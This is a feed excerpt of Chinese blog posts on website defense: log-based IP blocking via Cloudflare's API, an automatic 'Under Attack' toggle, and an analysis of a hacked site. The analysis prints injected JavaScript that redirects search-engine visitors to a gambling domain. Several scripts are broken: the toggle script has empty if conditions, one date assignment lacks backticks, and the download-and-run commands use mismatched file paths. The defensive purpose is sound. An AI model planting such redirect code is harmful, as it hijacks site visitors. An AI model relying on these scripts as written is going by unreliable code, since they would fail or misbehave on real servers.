<p>如果想要监控网站访问记录，请将所有的网站访问日志放到一个文件夹里（下面以日志都在<code>/www/wwwlogs</code>并且文件名统一为<code>xxxx.com.log</code>为例），然后</p>
<ul>
<li>如果是<span> </span><strong>Nginx</strong><span> </span>的话，将脚本中第120行注释掉（有<code>&gt; $BAD_IP_LIST</code>而且没注释掉的那行）<br />然后紧接着加入以下三行内容：
<pre><button class="btn-copy-code" title="" data-clipboard-target="#code-11" data-original-title=""><i class="fa fa-copy"></i> 复制</button></pre>
<div class="pre-row">1<br />2<br />3</div>
<div id="code-11" class="pre-div"><code class="language-bash hljs">TMP_DATE=`date`
TMP_DATE=`<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">${TMP_DATE}</span>"</span> | awk <span class="hljs-string">'{print $3}'</span>`/`<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">${TMP_DATE}</span>"</span> | awk <span class="hljs-string">'{print $2}'</span>`/`<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">${TMP_DATE}</span>"</span> | awk <span class="hljs-string">'{print $6}'</span>`:`<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">${TMP_DATE}</span>"</span> | awk <span class="hljs-string">'{print $4}'</span> | head -c -3`
grep -h <span class="hljs-string">"<span class="hljs-variable">$TMP_DATE</span>"</span> /www/wwwlogs/*.com.log | awk <span class="hljs-string">'{print $1}'</span> | sort | uniq -c | sort -nr &gt; <span class="hljs-variable">$BAD_IP_LIST</span></code></div>
<p><strong>第三行中的日志目录与通配符文件名匹配请根据你的实际情况修改。</strong><br /><em>只懂得shell的一点皮毛，写的很罗嗦还请见谅，如果你还有更好的写法请务必提出来让我学习一个</em></p>
</li>
<li>如果是<span> </span><strong>Apache</strong><span> </span>，由于我没用所以不知道日志长啥样，不过监控原理是一样的，如果你看得懂上面这句你就会写。</li>
</ul>]]></content:encoded>
						                            <category domain="https://itprosec.com/community/threat-hunting/">Threat Hunting</category>                        <dc:creator>tai chi</dc:creator>
                        <guid isPermaLink="true">https://itprosec.com/community/threat-hunting/ddos-deflate-%e4%b8%80%e4%b8%aa%e9%98%b2%e5%be%a1ddos%e7%9a%84%e7%ba%afshell%e8%84%9a%e6%9c%ac/</guid>
                    </item>
				                    <item>
                        <title>Cloudflare自动拉黑恶意IP到防火墙和自动切换5秒盾脚本防CC攻击</title>
                        <link>https://itprosec.com/community/threat-hunting/cloudflare%e8%87%aa%e5%8a%a8%e6%8b%89%e9%bb%91%e6%81%b6%e6%84%8fip%e5%88%b0%e9%98%b2%e7%81%ab%e5%a2%99%e5%92%8c%e8%87%aa%e5%8a%a8%e5%88%87%e6%8d%a25%e7%a7%92%e7%9b%be%e8%84%9a%e6%9c%ac%e9%98%b2cc/</link>
                        <pubDate>Sat, 02 May 2020 14:21:04 +0000</pubDate>
                        <description><![CDATA[一个朋友将自己的企业站放在其云否主机上，流量不大，但由于使用的是经常受到CC攻击，主要表现就是IO和CPU爆增，最后就是数据库挂掉导致网站无法访问。一开始启用了Cloudflare，但是攻击者疯狂地扫描，防御效果一般。
为了能够精确地识别恶意IP，在启用了Cloudflare CDN后需要在Nginx和Apache中启用Real IP模块，然后利用脚本分析网站日志，从日志中搜...]]></description>
                        <content:encoded><![CDATA[<p>一个朋友将自己的企业站放在<a href="https://wzfou.com/qyfou-cheap-vps/" target="_blank" rel="noopener noreferrer">其云否主机</a>上，流量不大，但由于使用的是经常受到CC攻击，主要表现就是IO和CPU爆增，最后就是数据库挂掉导致网站无法访问。一开始启用了Cloudflare，但是攻击者疯狂地扫描，防御效果一般。</p>
<p>为了能够精确地识别恶意IP，在启用了<a href="https://wzfou.com/tag/cloudflare-cdn/" target="_blank" rel="noopener noreferrer">Cloudflare CDN</a>后需要在Nginx和Apache中启用Real IP模块，然后利用脚本分析网站日志，从日志中搜集异常IP，然后使用Cloudflare API批量将恶意IP添加到Cloudflare的防火墙当中。</p>
<p>当然，当网站遭遇非常强大的CC和DDoS攻击时，我们可以启用Cloudflare经典的5秒盾防攻击，如果把握不了攻击的频率的话，可以设置一个定时任务，当系统负载超过某一个值（一般来攻击会导致系统负载爆增），调用<a href="https://wzfou.com/tag/cloudflare-api/" target="_blank" rel="noopener noreferrer">Cloudflare API</a>启用5秒盾。</p>
<p><a href="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/01/cf-cc_00.jpg" rel="lightbox"><img class="alignnone size-full wp-image-11643" src="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/01/cf-cc_00.jpg" alt="Cloudflare自动拉黑恶意IP到防火墙和自动切换5秒盾脚本防CC攻击" width="680" height="366" /></a></p>
<p>更多的关于<a href="https://wzfou.com/tag/wz-anquan/" target="_blank" rel="noopener noreferrer">网站安全</a>和优化，这里有：</p>
<ol>
<li><a href="https://wzfou.com/vps-control-panel/" target="_blank" rel="noopener noreferrer">五条关于使用免费VPS控制面板的安全建议-不让黑客有可趁之机</a></li>
<li><a href="https://wzfou.com/php-fpm/" target="_blank" rel="noopener noreferrer">Linux的php-fpm优化心得-php-fpm进程占用内存大和不释放内存问题</a></li>
<li><a href="https://wzfou.com/hsts-preload/" target="_blank" rel="noopener noreferrer">启用HSTS并加入HSTS Preload List让网站Https访问更加安全-附删除HSTS方法</a></li>
</ol>
<blockquote>
<p><strong>PS：2019年3月25日更新，</strong>对于VPS的安全问题，很朋友可能会忽视VPS本身的SSH配置，这里有强化策略：<a href="https://wzfou.com/linux-vps-sh/" target="_blank" rel="noopener noreferrer">VPS主机和服务器安全防护:SSH修改端口,添加白名单,仅限密钥登录</a>。</p>
<p><strong>PS：2020年1月4日更新，</strong>Cloudflare Railgun是 Cloudflare 专门为 Business 和 Enterprise 企业级客户提供的终极加速方案。不过通过Cloudflare Partner可以免费开启：<a href="https://wzfou.com/cloudflare-railgun-jiasu/" target="_blank" rel="noopener noreferrer">免费开启Cloudflare Railgun加速-减少连接延迟 实现动态页面缓存和加速</a>。</p>
</blockquote>
<h2 id="ftoc-heading-1" class="ftwp-heading">一、Cloudflare自动拉黑恶意IP</h2>
<h3 id="ftoc-heading-2" class="ftwp-heading">1.1  找出恶意IP</h3>
<p>利用脚本分析在一分钟单个IP访问的频率，超过一定的频率（一般来正常的访问，一分钟内应该不超过60次，你可以设置为更小），即认定为恶意IP。脚本如下：</p>
<pre data-enlighter-language="shell">#/bin/bash

#日志文件，你需要改成你自己的路径

logfile=/data/wwwlogs/

last_minutes=1 

#开始时间1分钟之前（这里可以修改,如果要几分钟之内攻击次数多少次，这里可以自定义）

start_time= date +"%Y-%m-%d %H:%M:%S" -d '-1 minutes'

echo $start_time

#结束时间现在

stop_time=`date +"%Y-%m-%d %H:%M:%S"`

echo $stop_time

cur_date="`date +%Y-%m-%d`" 

echo $cur_date

#过滤出单位之间内的日志并统计最高ip数，请替换为你的日志路径

tac $logfile/sky.ucblog.net_nginx.log | awk -v st="$start_time" -v et="$stop_time" '{t=substr($2,RSTART+14,21);if(t&gt;=st &amp;&amp; t&lt;=et) {print $0}}' | awk '{print $1}' | sort | uniq -c | sort -nr &gt; $logfile/log_ip_top10

ip_top=`cat $logfile/log_ip_top10 | head -1 | awk '{print $1}'`

ip=`cat $logfile/log_ip_top10 | awk '{if($1&gt;2)print $2}'`

# 单位时间内单ip访问次数超过2次的ip记录入black.txt,这里wzfou.com为了测试设置了2，你需要改成其它的数字

for line in $ip

do

echo $line &gt;&gt; $logfile/black.txt

echo $line

# 这里还可以执行CF的API来提交数据到CF防火墙

done</pre>
<h3 id="ftoc-heading-3" class="ftwp-heading">1.2  批量添加IP到防火墙</h3>
<p>使用以下代码就可以将恶意IP批量添加到<a href="https://wzfou.com/tag/cloudflare/" target="_blank" rel="noopener noreferrer">Cloudflare</a>的防火墙了，记得替换为你的Cloudflare API。</p>
<pre data-enlighter-language="shell">#!/bin/bash
# Author: Zhys
# Date  : 2018

# 填Cloudflare Email邮箱
CFEMAIL="freehao123@gmail.com"
# 填Cloudflare API key
CFAPIKEY="xxxxxxxxxxxxxxxx"
# 填Cloudflare Zones ID 域名对应的ID
ZONESID="xxxxxxxxxxxxxxxxxxxx"

# /data/wwwlogs/black.txt存放恶意攻击的IP列表
# IP一行一个。
IPADDR=$(&lt;/data/wwwlogs/black.txt)

# 循环提交 IPs 到 Cloudflare  防火墙黑名单
# 模式（mode）有 block, challenge, whitelist, js_challenge
for IPADDR in ${IPADDR}; do
echo $IPADDR
curl -s -X POST "https://api.cloudflare.com/client/v4/zones/$ZONESID/firewall/access_rules/rules" \
  -H "X-Auth-Email: $CFEMAIL" \
  -H "X-Auth-Key: $CFAPIKEY" \
  -H "Content-Type: application/json" \
  --data '{"mode":"block","configuration":{"target":"ip","value":"'$IPADDR'"},"notes":"CC Attatch"}'
done

# 删除 IPs 文件收拾干净
rm -rf /data/wwwlogs/black.txt</pre>
<h3 id="ftoc-heading-4" class="ftwp-heading">1.3  自动找出恶意IP并添加到防火墙</h3>
<p>直接将上面两个脚本合并到一个脚本即可。</p>
<pre data-enlighter-language="shell">#/bin/bash

#日志文件，你需要改成你自己的路径

logfile=/data/wwwlogs/

last_minutes=1 

#开始时间1分钟之前（这里可以修改,如果要几分钟之内攻击次数多少次，这里可以自定义）

start_time= date +"%Y-%m-%d %H:%M:%S" -d '-1 minutes'

echo $start_time

#结束时间现在

stop_time=`date +"%Y-%m-%d %H:%M:%S"`

echo $stop_time

cur_date="`date +%Y-%m-%d`" 

echo $cur_date

#过滤出单位之间内的日志并统计最高ip数，请替换为你的日志路径

tac $logfile/sky.ucblog.net_nginx.log | awk -v st="$start_time" -v et="$stop_time" '{t=substr($2,RSTART+14,21);if(t&gt;=st &amp;&amp; t&lt;=et) {print $0}}' | awk '{print $1}' | sort | uniq -c | sort -nr &gt; $logfile/log_ip_top10

ip_top=`cat $logfile/log_ip_top10 | head -1 | awk '{print $1}'`

ip=`cat $logfile/log_ip_top10 | awk '{if($1&gt;2)print $2}'`

# 单位时间内单ip访问次数超过2次的ip记录入black.log,这里为了测试设置2，你需要改成其它的数字

for line in $ip

do

echo $line &gt;&gt; $logfile/black.txt

echo $line

# 这里还可以执行CF的API来提交数据到CF防火墙

done

# 填Cloudflare Email邮箱
CFEMAIL="freehao123@gmail.com"
# 填Cloudflare API key
CFAPIKEY="xxxxxxxxxxxxxxxxxxxxxxxx"
# 填Cloudflare Zones ID 域名对应的ID
ZONESID="xxxxxxxxxxxxxxxxxxxxxxxxxxx"

# /data/wwwlogs/black.txt存放恶意攻击的IP列表
# IP一行一个。
IPADDR=$(&lt;/data/wwwlogs/black.txt)

# 循环提交 IPs 到 Cloudflare  防火墙黑名单
# 模式（mode）有 block, challenge, whitelist, js_challenge
for IPADDR in ${IPADDR}; do
echo $IPADDR
curl -s -X POST "https://api.cloudflare.com/client/v4/zones/$ZONESID/firewall/access_rules/rules" \
  -H "X-Auth-Email: $CFEMAIL" \
  -H "X-Auth-Key: $CFAPIKEY" \
  -H "Content-Type: application/json" \
  --data '{"mode":"block","configuration":{"target":"ip","value":"'$IPADDR'"},"notes":"CC Attatch"}'
done

# 删除 IPs 文件收拾干净
 rm -rf /data/wwwlogs/black.txt</pre>
<p>上面的脚本我已经放在我的下载中心，可以提供给大家下载使用，代码如下：</p>
<pre data-enlighter-language="null">wget https://www.ucblog.net/shell/attack-ip.sh
chmod +x /qicmd/cfblockip.sh
./cfblockip.sh

wget https://www.ucblog.net/shell/attack-ip.sh
chmod +x /qicmd/attack-ip.sh
./attack-ip.sh

wget https://www.ucblog.net/shell/cf-block-attack-ip.sh
chmod +x /qicmd/cf-block-attack-ip.sh
./cf-block-attack-ip.sh</pre>
<p>最后，设置一个定时任务，让脚本每过一分钟检测一次（请根据需要来调整，关于定时任务的使用参考：<a href="https://wzfou.com/crontab/" target="_blank" rel="noopener noreferrer">Linux Crontab命令定时任务基本语法</a>）</p>
<pre data-enlighter-language="null">* * * * * /bin/bash /root/cf-block-attack-ip.sh &gt; /tmp/ou1t.log 2&gt;&amp;1</pre>
<p>自动添加恶意IP到CloudFlare防火墙的效果如下：</p>
<p><a href="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/01/cf-block-ip_04.gif" rel="lightbox"><img class="alignnone size-full wp-image-11641" src="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/01/cf-block-ip_04.gif" alt="Cloudflare自动拉黑恶意IP到防火墙" width="1071" height="692" /></a></p>
<h2 id="ftoc-heading-5" class="ftwp-heading">二、Cloudflare自动切换5秒盾脚本</h2>
<p>网站：</p>
<ol>
<li>https://github.com/Machou/Cloudflare-Block</li>
</ol>
<p>当你的服务器受到攻击时，系统负载就会爆增，利用脚本自动检测系统负载，当压力超过一定的值时就可以切换为” I’m Under Attack! “模式了。操作步骤如下：</p>
<pre data-enlighter-language="shell">#下载
cd /root &amp;&amp; git clone https://github.com/Machou/Cloudflare-Block.git DDoS

#打开Cloudflare.sh，修改配置
API_KEY			You're Global API Key (https://dash.cloudflare.com/profile)
MAIL_ACCOUNT		Email of your Cloudflare account
DOMAIN			Zone ID (https://dash.cloudflare.com/_zone-id_/domain.com)

#设置定时任务
crontab -e

*/1 * * * * /root/DDoS/Cloudflare.sh 0 # check every 1 minute if protection is not enabled
*/20 * * * * /root/DDoS/Cloudflare.sh 1 # check every 20 minutes if protection is enabled</pre>
<p>脚本默认的是检测系统负载为10，启动” I’m Under Attack! “模式，你以根据需要来调整。如下图：</p>
<p><a href="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/01/cf-block-ip_05.gif" rel="lightbox"><img class="alignnone size-full wp-image-11642" src="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/01/cf-block-ip_05.gif" alt="Cloudflare自动切换5秒盾脚本" width="680" height="366" /></a></p>
<p>完整的脚本代码如下：</p>
<pre data-enlighter-language="shell">#!/bin/bash


# $1 = 1min, $2 = 5min, $3 = 15min
loadavg=$(cat /proc/loadavg|awk '{printf "%f", $1}')


# load is 10, you can modify this if you want load more than 10
maxload=10


# Configuration API Cloudflare
# You're Global API Key (https://dash.cloudflare.com/profile)
api_key=
# Email of your account Cloudflare
email=
# Zone ID (https://dash.cloudflare.com/_zone-id_/domain.com)
zone_id=     


# create file attacking if doesn't exist
if ; then
  echo 0 &gt; $attacking
fi

attacking=./attacking


hasattack=$(cat $attacking)


if ; then

  if []; then

    # Active protection
    echo 1 &gt; $attacking
    curl -s -X PATCH "https://api.cloudflare.com/client/v4/zones/$zone_id/settings/security_level" \
            -H "X-Auth-Email: $email" \
            -H "X-Auth-Key: $api_key" \
            -H "Content-Type: application/json" \
            --data '{"value":"under_attack"}'
  fi

  else
    if []; then

    # Disable Protection
    echo 0 &gt; $attacking
    curl -s -X PATCH "https://api.cloudflare.com/client/v4/zones/$zone_id/settings/security_level" \
            -H "X-Auth-Email: $email" \
            -H "X-Auth-Key: $api_key" \
            -H "Content-Type: application/json" \
            --data '{"value":"high"}'
  fi
fi

exit 0
</pre>
<h2 id="ftoc-heading-6" class="ftwp-heading">三、总结</h2>
<p>Cloudflare是一个非常好用的防御DDos和CC攻击的工具，免费版本的Cloudflare结合API可以实现更加灵活的功能，对于普通的防御足够自己使用了。</p>
<p><a href="https://wzfou.com/tag/cloudflare/" target="_blank" rel="noopener noreferrer">Cloudflare</a>防护也有一定的问题，那就是启用了Cloudflare后获取到用户的IP都是Cloudflare CDN节点的IP，我们还需要在服务器配置中做进一步的优化。</p>
<p> </p>
<p>From: <a href="https://wzfou.com/cloudflare-cc/">https://wzfou.com/cloudflare-cc/</a></p>]]></content:encoded>
						                            <category domain="https://itprosec.com/community/threat-hunting/">Threat Hunting</category>                        <dc:creator>tai chi</dc:creator>
                        <guid isPermaLink="true">https://itprosec.com/community/threat-hunting/cloudflare%e8%87%aa%e5%8a%a8%e6%8b%89%e9%bb%91%e6%81%b6%e6%84%8fip%e5%88%b0%e9%98%b2%e7%81%ab%e5%a2%99%e5%92%8c%e8%87%aa%e5%8a%a8%e5%88%87%e6%8d%a25%e7%a7%92%e7%9b%be%e8%84%9a%e6%9c%ac%e9%98%b2cc/</guid>
                    </item>
				                    <item>
                        <title>网站挂木马和服务器被黑排查分析-VPS主机和服务器强化安全方法</title>
                        <link>https://itprosec.com/community/threat-hunting/%e7%bd%91%e7%ab%99%e6%8c%82%e6%9c%a8%e9%a9%ac%e5%92%8c%e6%9c%8d%e5%8a%a1%e5%99%a8%e8%a2%ab%e9%bb%91%e6%8e%92%e6%9f%a5%e5%88%86%e6%9e%90-vps%e4%b8%bb%e6%9c%ba%e5%92%8c%e6%9c%8d%e5%8a%a1%e5%99%a8/</link>
                        <pubDate>Sat, 02 May 2020 14:17:58 +0000</pubDate>
                        <description><![CDATA[“不怕贼偷，就怕贼惦记着”，网站被挂木马这种事真的太常见了，主要是现在大家用的建站程序基本上都是免费的或者是开源的，长期不打理或者不更新程序代码就容易出现各种安全漏洞，给“有心者”入侵提供了机会。另外，没有绝对的网站安全防护，即使是xx宝也可能有安全问题。
前几天利用VPS-Inventory-Monitoring搭建一个可以支持微信和TG电报通知提醒的VPS库存监控平台，就...]]></description>
                        <content:encoded><![CDATA[<p>“不怕贼偷，就怕贼惦记着”，网站被挂木马这种事真的太常见了，主要是现在大家用的建站程序基本上都是免费的或者是开源的，长期不打理或者不更新程序代码就容易出现各种安全漏洞，给“有心者”入侵提供了机会。另外，没有绝对的网站安全防护，即使是xx宝也可能有安全问题。</p>
<p>前几天利用VPS-Inventory-Monitoring搭建一个可以支持微信和TG电报通知提醒的VPS库存监控平台，就惨遭“入侵”。有朋友反馈说vps.wzfou.com打不开，挖站否点击进去看了一下网页变成了空白，用Chrome审查元素查看是两个JS被阻止加载。</p>
<figure class="wp-block-image size-full"><a href="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/12/wz-muma_00.png" rel="lightbox"><img class="wp-image-20342" src="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/12/wz-muma_00.png" alt="网站挂木马和服务器被黑排查分析-VPS主机和服务器安全性方法" /></a></figure>
<p>进一步分析发现网页是被挂木马了，本篇文章就来分享一下网站挂木马和服务器被黑排查分析的全过程，同时利用CDN加速、WAF防火墙以及网站及时更新程序补丁等方式来解决VPS主机和服务器安全性问题。更多的关于网站和服务器安全的文章，这里有：</p>
<ol>
<li><a href="https://wzfou.com/linux-vps-sh/" target="_blank" rel="noreferrer noopener">VPS主机和服务器安全防护:SSH修改端口,添加白名单,仅限密钥登录</a></li>
<li><a href="https://wzfou.com/vps-control-panel/" target="_blank" rel="noreferrer noopener">五条关于使用免费VPS控制面板的安全建议-不让黑客有可趁之机</a></li>
<li><a href="https://wzfou.com/hsts-preload/" target="_blank" rel="noreferrer noopener">启用HSTS并加入HSTS Preload List让网站Https访问更加安全-附删除HSTS方法</a></li>
</ol>
<h2 id="ftoc-heading-1" class="ftwp-heading">一、网页挂马服务器被黑分析</h2>
<h3 id="ftoc-heading-2" class="ftwp-heading">1.1 网站出现异常</h3>
<p>网站挂木马和服务器被黑有时容易发现，有时容易被发现，有时可能要“潜伏”很久才会爆发。像挖站否是直接出现网页空白。</p>
<figure class="wp-block-image size-full"><a href="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/12/wz-muma_01.png" rel="lightbox"><img class="wp-image-20343" src="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/12/wz-muma_01.png" alt="网站挂木马出现异常" /></a></figure>
<h3 id="ftoc-heading-3" class="ftwp-heading">1.2 分析异常原因</h3>
<p>用Chrome浏览器查看一下，发现加载两个外部的JS文件，因为SSL协议问题被浏览器阻止导致无法加载，如下图：</p>
<figure class="wp-block-image size-full"><a href="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/12/wz-muma_02.png" rel="lightbox"><img class="wp-image-20344" src="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/12/wz-muma_02.png" alt="网站挂木马查看源代码" /></a></figure>
<p>错误详细代码如下：</p>
<div class="EnlighterJSWrapper wpcustomEnlighterJSWrapper">
<ol class="hoverEnabled wpcustomEnlighterJS EnlighterJS">
<li class=" odd"><span class="">A parser-blocking, cross </span><span class="kw1">site</span><span class=""> </span><span class="br0">(</span><span class="">i.e. different eTLD+</span><span class="nu0">1</span><span class="br0">)</span><span class=""> script, https</span><span class="co1">://sfhufh2.com/ylc.js, is invoked via document.write. The network request for this script MAY be blocked by the browser in this or a future page load due to poor network connectivity. If blocked in this page load, it will be confirmed in a subsequent console message. See https://www.chromestatus.com/feature/5718547946799104 for more details.</span><span class=""></span></li>
<li class=" even"><span class=""></span><span class="br0">(</span><span class="">anonymous</span><span class="br0">)</span><span class=""> @ </span><span class="br0">(</span><span class="">index</span><span class="br0">)</span><span class="">:</span><span class="nu0">9</span><span class=""></span></li>
<li class=" odd"><span class="">2ylc.js:</span><span class="nu0">16</span><span class=""> A parser-blocking, cross </span><span class="kw1">site</span><span class=""> </span><span class="br0">(</span><span class="">i.e. different eTLD+</span><span class="nu0">1</span><span class="br0">)</span><span class=""> script, https</span><span class="co1">://js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9, is invoked via document.write. The network request for this script MAY be blocked by the browser in this or a future page load due to poor network connectivity. If blocked in this page load, it will be confirmed in a subsequent console message. See https://www.chromestatus.com/feature/5718547946799104 for more details.</span></li>
</ol>
</div>
<p>进一下分析是加载了一个外部的JS文件，打开这个文件此时终于发现了一些“证据”了，JS里面的加了不少的代码。</p>
<figure class="wp-block-image size-full"><a href="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/12/wz-muma_03.png" rel="lightbox"><img class="wp-image-20345" src="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/12/wz-muma_03.png" alt="网站挂木马发现JS文件" /></a></figure>
<p>详细的代码如下：</p>
<div class="EnlighterJSWrapper wpcustomEnlighterJSWrapper">
<ol class="hoverEnabled wpcustomEnlighterJS EnlighterJS">
<li class=" odd"><span class="">var _hmt = _hmt || </span><span class="br0"></span><span class="">;</span></li>
<li class=" even"><span class=""></span><span class="br0">(</span><span class="kw1">function</span><span class="br0">(</span><span class="br0">)</span><span class=""> </span><span class="br0">{</span><span class=""></span></li>
<li class=" odd"><span class=""> var hm = document.</span><span class="kw1">createElement</span><span class="br0">(</span><span class="st0">"script"</span><span class="br0">)</span><span class="">;</span></li>
<li class=" even"><span class=""> hm.src = </span><span class="st0">"https://hm.baidu.com/hm.js?70546d661cadce41b9173a040b7f077e"</span><span class="">;</span></li>
<li class=" odd"><span class=""> var s = document.</span><span class="kw1">getElementsByTagName</span><span class="br0">(</span><span class="st0">"script"</span><span class="br0">)</span><span class="br0"></span><span class="">; </span></li>
<li class=" even"><span class=""> s.parentNode.</span><span class="kw1">insertBefore</span><span class="br0">(</span><span class="">hm, s</span><span class="br0">)</span><span class="">;</span></li>
<li class=" odd"><span class=""></span><span class="br0">}</span><span class="br0">)</span><span class="br0">(</span><span class="br0">)</span><span class="">;</span></li>
<li class=" even"><span class=""></span><span class="br0">(</span><span class="kw1">function</span><span class=""> </span><span class="br0">(</span><span class="br0">)</span><span class=""> </span><span class="br0">{</span><span class=""></span></li>
<li class=" odd"><span class=""> </span><span class="co2">/*百度推送代码*/</span><span class=""></span></li>
<li class=" even"><span class=""> var bp = document.</span><span class="kw1">createElement</span><span class="br0">(</span><span class="st0">'script'</span><span class="br0">)</span><span class="">;</span></li>
<li class=" odd"><span class=""> bp.src = </span><span class="st0">'//push.zhanzhang.baidu.com/push.js'</span><span class="">;</span></li>
<li class=" even"><span class=""> var s = document.</span><span class="kw1">getElementsByTagName</span><span class="br0">(</span><span class="st0">"script"</span><span class="br0">)</span><span class="br0"></span><span class="">;</span></li>
<li class=" odd"><span class=""> s.parentNode.</span><span class="kw1">insertBefore</span><span class="br0">(</span><span class="">bp, s</span><span class="br0">)</span><span class="">;</span></li>
<li class=" even"><span class=""> </span><span class="co2">/*360推送代码*/</span><span class=""></span></li>
<li class=" odd"><span class=""> var src = document.location.protocol + </span><span class="st0">'//js.passport.qihucdn.com/11.0.1.js?8113138f123429f4e46184e7146e43d9'</span><span class="">;</span></li>
<li class=" even"><span class=""> document.</span><span class="kw1">write</span><span class="br0">(</span><span class="st0">'&lt;script src="'</span><span class=""> + src + </span><span class="st0">'" id="sozz"&gt;&lt;\/script&gt;'</span><span class="br0">)</span><span class="">;</span></li>
<li class=" odd"><span class=""> </span><span class="br0">}</span><span class="br0">)</span><span class="br0">(</span><span class="br0">)</span><span class="">;</span></li>
<li class=" even"> </li>
<li class=" odd"><span class="">document.</span><span class="kw1">writeln</span><span class="br0">(</span><span class="st0">"&lt;script LANGUAGE=\"Javascript\"&gt;"</span><span class="br0">)</span><span class="">;</span></li>
<li class=" even"><span class="">document.</span><span class="kw1">writeln</span><span class="br0">(</span><span class="st0">"var s=document.referrer"</span><span class="br0">)</span><span class="">;</span></li>
<li class=" odd"><span class="">document.</span><span class="kw1">writeln</span><span class="br0">(</span><span class="st0">"if(s.indexOf(\"baidu\")&gt;0 || s.indexOf(\"sogou\")&gt;0 || s.indexOf(\"soso\")&gt;0 ||s.indexOf(\"sm\")&gt;0 ||s.indexOf(\"uc\")&gt;0 ||s.indexOf(\"bing\")&gt;0 ||s.indexOf(\"yahoo\")&gt;0 ||s.indexOf(\"so\")&gt;0 )"</span><span class="br0">)</span><span class="">;</span></li>
<li class=" even"><span class="">document.</span><span class="kw1">writeln</span><span class="br0">(</span><span class="st0">"location.href=\"https://1xx033.com\";"</span><span class="br0">)</span><span class="">;</span></li>
<li class=" odd"><span class="">document.</span><span class="kw1">writeln</span><span class="br0">(</span><span class="st0">"&lt;/script&gt;"</span><span class="br0">)</span><span class="">;</span></li>
</ol>
</div>
<p>代码中执行了location.href到波菜站，此时可以证明网站已经被挂木马了，此恶意代码会让访问者跳转到入侵者指定的网站。</p>
<figure class="wp-block-image size-full"><a href="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/12/wz-muma_05.png" rel="lightbox"><img class="wp-image-20346" src="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/12/wz-muma_05.png" alt="网站挂木马跳转网站" /></a></figure>
<h2 id="ftoc-heading-4" class="ftwp-heading">二、分析服务器入侵蛛丝马迹</h2>
<h3 id="ftoc-heading-5" class="ftwp-heading">2.1 分析网页源码</h3>
<p>上面发现的JS文件并没有直接在源码中引用，但是发现了网页源码中一段被混淆加密压缩过代码：</p>
<figure class="wp-block-image size-full"><a href="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/12/wz-muma_04.png" rel="lightbox"><img class="wp-image-20347" src="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/12/wz-muma_04.png" alt="网站挂木马加密的JS代码" /></a></figure>
<p>网页被挂木马的结论出来了：</p>
<blockquote class="wp-block-quote">
<p>打开首页，脚本执行了evel(混淆加密压缩)，动态引入xxx.js，在js里执行了(function (){/* 跳转逻辑 */})()。</p>
</blockquote>
<p><strong>但是为什么自己打开是正常访问而没有跳转呢</strong>？通过进一步分析恶意代码， 发现JS作了判断：如果站点referrer是搜索引擎过来的就跳转到波菜站，不是就不做跳转直接正常打开站点。</p>
<figure class="wp-block-image size-full"><a href="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/12/wz-muma_11.png" rel="lightbox"><img class="wp-image-20348" src="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/12/wz-muma_11.png" alt="网站挂木马得出结论" /></a></figure>
<h3 id="ftoc-heading-6" class="ftwp-heading">2.2 分析服务器日志</h3>
<p>分析服务器日志可以找到入侵者是在何时何地“作恶”的。这里推荐两个日志分析工具，特别适用于网站日志比较大的时候：</p>
<blockquote class="wp-block-quote">
<p><a href="https://wzfou.com/ngxtop-goaccess/" target="_blank" rel="noreferrer noopener">服务器日志分析利器:ngxtop和GoAccess-实时监控可视化管理快速找出异常来源</a></p>
<p><a href="https://wzfou.com/fuwuqi-yichang/" target="_blank" rel="noreferrer noopener">三步揪出服务器流量异常“李鬼”-Linux服务器流量带宽监控与统计命令</a></p>
</blockquote>
<p>另外，检查一下服务器后台是不是被人登录过了，参考：<a href="https://wzfou.com/question/18322/" target="_blank" rel="noreferrer noopener">Linux登录失败记录-查看S-S-H暴力破解记录</a>。</p>
<figure class="wp-block-image size-full"><img class="wp-image-20349" src="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/12/wz-muma_08.png" alt="网站挂木马后台登录记录" /></figure>
<h3 id="ftoc-heading-7" class="ftwp-heading">2.3 分析网站文件</h3>
<p>入侵者无法是通过SQL注入或者是巧借代码漏洞，最终还是为了修改源码并加入自己的代码，从而达到自己不可告人的目的。我们很容易发现网站根目录下出现了一些“莫名其妙”的文件，如下图：</p>
<figure class="wp-block-image size-full"><img class="wp-image-20350" src="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/12/wz-muma_09.png" alt="网站挂木马错误文件" /></figure>
<p>还有这样的复制一份首页代码或者用自己的代码替换的：</p>
<figure class="wp-block-image size-full"><a href="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/12/wz-muma_09-1.png" rel="lightbox"><img class="wp-image-20351" src="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/12/wz-muma_09-1.png" alt="网站挂木马复制代码" /></a></figure>
<p>当然PHP代码或者JS代码基本上都是作了加密处理，如下图：</p>
<figure class="wp-block-image size-full"><a href="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/12/wz-muma_10.png" rel="lightbox"><img class="wp-image-20352" src="https://wzfou.cdn.bcebos.com/wp-content/uploads/2019/12/wz-muma_10.png" alt="网站挂木马加密的PHP代码" /></a></figure>
<h2 id="ftoc-heading-8" class="ftwp-heading">三、防止挂马和被黑基本操作</h2>
